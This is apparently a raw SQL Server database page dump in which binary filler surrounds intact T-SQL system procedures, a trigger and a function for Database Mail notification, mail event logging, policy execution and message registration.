!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a
N`\<
Ec	OƢ0Y&s 
8CREATE PROCEDURE sp_notify_operator
  @profile_name           sysname       = NULL,          
  --name of Database Mail profile to be used for sending email, cannot be null
  @id                     INT            = NULL,  
  @name                   sysname        = NULL, 
  --mutual exclusive, one and only one should be non null. Specify the operator whom mail adress will be used to send this email
  @subject                NVARCHAR(256)  = NULL,
  @body                   NVARCHAR(MAX)  = NULL, 
  -- This is the body of the email message
  @file_attachments       NVARCHAR(512)  = NULL,
  @mail_database          sysname       = N'msdb'
  -- Have infrastructure in place to support this but disabled by default
  -- For first implementation we will have this parameters but using it will generate an error - not implemented yet.
AS
BEGIN
  DECLARE @retval INT
  DECLARE @email_address NVARCHAR(100)
  DECLARE @enabled TINYINT
  DECLARE @qualified_sp_sendmail sysname
  DECLARE @db_id INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @profile_name              = LTRIM(RTRIM(@profile_name))
  SELECT @name                      = LTRIM(RTRIM(@name))
  SELECT @file_attachments          = LTRIM(RTRIM(@file_attachments))
  SELECT @mail_database          = LTRIM(RTRIM(@mail_database))


  IF @profile_name       = ''    SELECT @profile_name      = NULL
  IF @name               = ''    SELECT @name              = NULL
  IF @file_attachments   = ''    SELECT @file_attachments  = NULL
  IF @mail_database      = ''    SELECT @mail_database      = NULL

  EXECUTE @retval = sp_verify_operator_identifiers '@name',
                                                   '@id',
                                                   @name OUTPUT,
                                                   @id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  --is operator enabled?
  SELECT @enabled = enabled, @email_address = email_address FROM sysoperators WHERE id = @id
  IF @enabled = 0 
  BEGIN
    RAISERROR(14601, 16, 1, @name)
    RETURN 1
  END
  
  IF @email_address IS NULL
  BEGIN
    RAISERROR(14602, 16, 1, @name)
    RETURN 1
  END
  
  SELECT @qualified_sp_sendmail = @mail_database + '.dbo.sp_send_dbmail'

  EXEC   @retval = @qualified_sp_sendmail @profile_name = @profile_name,
                               @recipients       = @email_address,
                               @subject          = @subject,
                               @body              = @body,
                               @file_attachments = @file_attachments
  RETURN @retval                            
END
0!s 8CREATE TRIGGER [dbo].[syspolicy_execution_trigger] ON [dbo].[syspolicy_execution_internal]
INSTEAD OF INSERT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	IF NOT EXISTS (SELECT * FROM inserted)
		RETURN

    DECLARE @policy_id int
    DECLARE @synchronous bit
    DECLARE @event_data xml
    DECLARE affected_policies CURSOR LOCAL FOR 
        SELECT policy_id, synchronous, event_data FROM inserted
    
    OPEN affected_policies
    FETCH NEXT FROM affected_policies INTO @policy_id, @synchronous, @event_data
    DECLARE @err int
    SET @err = 0
    WHILE (@@FETCH_STATUS = 0 AND (@synchronous = 0 OR @err = 0)) 
    BEGIN
        DECLARE @pol_name sysname
        SELECT @pol_name = p.name
            FROM dbo.syspolicy_policies p 
            WHERE p.policy_id = @policy_id

        IF (@synchronous = 0)
        BEGIN
            -- trace what policy is processing this event
            DECLARE @msg nvarchar(1000)
            SET @msg = N'Policy ''' + @pol_name + ''' was activated by an event.'
            RAISERROR(@msg, 1, 1) with log
        END

        -- execute the policy
        EXEC @err = msdb.sys.sp_syspolicy_execute_policy @policy_name =@pol_name, @event_data = @event_data, @synchronous = @synchronous
    
        -- move to the next policy if we're checking the policy
        -- or if we are in enforce mode and we haven't failed
        IF( @synchronous = 0 OR @err = 0)
            FETCH NEXT FROM affected_policies INTO @policy_id, @synchronous, @event_data
    END

    CLOSE affected_policies
    DEALLOCATE affected_policies

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`]<X	IF$)0h@Dt 8-- sysmail_logmailevent_sp : inserts an entry in the sysmail_log table
CREATE PROCEDURE sysmail_logmailevent_sp
    @event_type     INT,
    @description    NVARCHAR(max)   = NULL, 
    @process_id     INT             = NULL,
    @mailitem_id    INT             = NULL,
    @account_id     INT             = NULL
AS
    SET NOCOUNT ON

    --Try and get the optional logging level for the DatabaseMail process
    DECLARE @loggingLevel nvarchar(256)
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'LoggingLevel', 
                                                  @parameter_value = @loggingLevel OUTPUT

    DECLARE @loggingLevelInt int   
    SET @loggingLevelInt = dbo.ConvertToInt(@loggingLevel, 3, 2) 

    IF (@event_type = 3) OR                           -- error
       (@event_type = 2 AND @loggingLevelInt >= 2) OR -- warning with extended logging
       (@event_type = 1 AND @loggingLevelInt >= 2) OR -- info with extended logging
       (@event_type = 0 AND @loggingLevelInt >= 3)    -- success with verbose logging
    BEGIN
       INSERT sysmail_log(event_type, description, process_id, mailitem_id, account_id) 
       VALUES(@event_type, @description, @process_id , @mailitem_id, @account_id)
    END
RETURN 0
0;dt )8CREATE FUNCTION [dbo].[fn_sysutility_mi_get_batch_manifest]()
RETURNS TABLE
AS
RETURN
(
    -- DAC execution statistics row count
    SELECT N'dac_packages_row_count' AS parameter_name
    , CONVERT(SQL_VARIANT, COUNT(*)) AS parameter_value
    FROM [msdb].[dbo].[sysutility_mi_dac_execution_statistics_internal] 

    UNION ALL
    
    -- MI CPU and memory configurations row count
    SELECT N'cpu_memory_configurations_row_count' AS parameter_name
    , CONVERT(SQL_VARIANT, COUNT(*)) AS parameter_value
    FROM [msdb].[dbo].[sysutility_mi_cpu_stage_internal]

    UNION ALL

    -- MI volumes row count
    SELECT N'volumes_row_count' AS parameter_name
    , CONVERT(SQL_VARIANT, COUNT(*)) AS parameter_value 
    FROM [msdb].[dbo].[sysutility_mi_volumes_stage_internal]

    UNION ALL
    
    -- SMO properties row count
    SELECT N'smo_properties_row_count' AS parameter_name
    , CONVERT(SQL_VARIANT, COUNT(*)) AS parameter_value 
    FROM [msdb].[dbo].[sysutility_mi_smo_stage_internal]
)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{`<pE0Zl|@ f8CREATE PROCEDURE sp_sem_add_message
  @msgnum   INT           = NULL,
  @severity SMALLINT      = NULL,
  @msgtext  NVARCHAR(255) = NULL,
  @lang     sysname       = NULL, -- Message language name
  @with_log VARCHAR(5)    = 'FALSE',
  @replace  VARCHAR(7)    = NULL
AS
BEGIN
  DECLARE @retval        INT
  DECLARE @language_name sysname

  SET NOCOUNT ON

  SET ROWCOUNT 1
  SELECT @language_name = name
  FROM sys.syslanguages
  WHERE msglangid = (SELECT number
                     FROM master.dbo.spt_values
                     WHERE (type = 'LNG')
                       AND (name = @lang))
  SET ROWCOUNT 0

  SELECT @language_name = ISNULL(@language_name, 'us_english')
  EXECUTE @retval = master.dbo.sp_addmessage @msgnum, @severity, @msgtext, @language_name, @with_log, @replace
  RETURN(@retval)
END
0g:| 8CREATE PROCEDURE [dbo].[sp_syspolicy_set_log_on_success] 
	@value sql_variant
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    UPDATE [msdb].[dbo].[syspolicy_configuration_internal]
        SET current_value = @value
        WHERE name = N'LogOnSuccess';
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!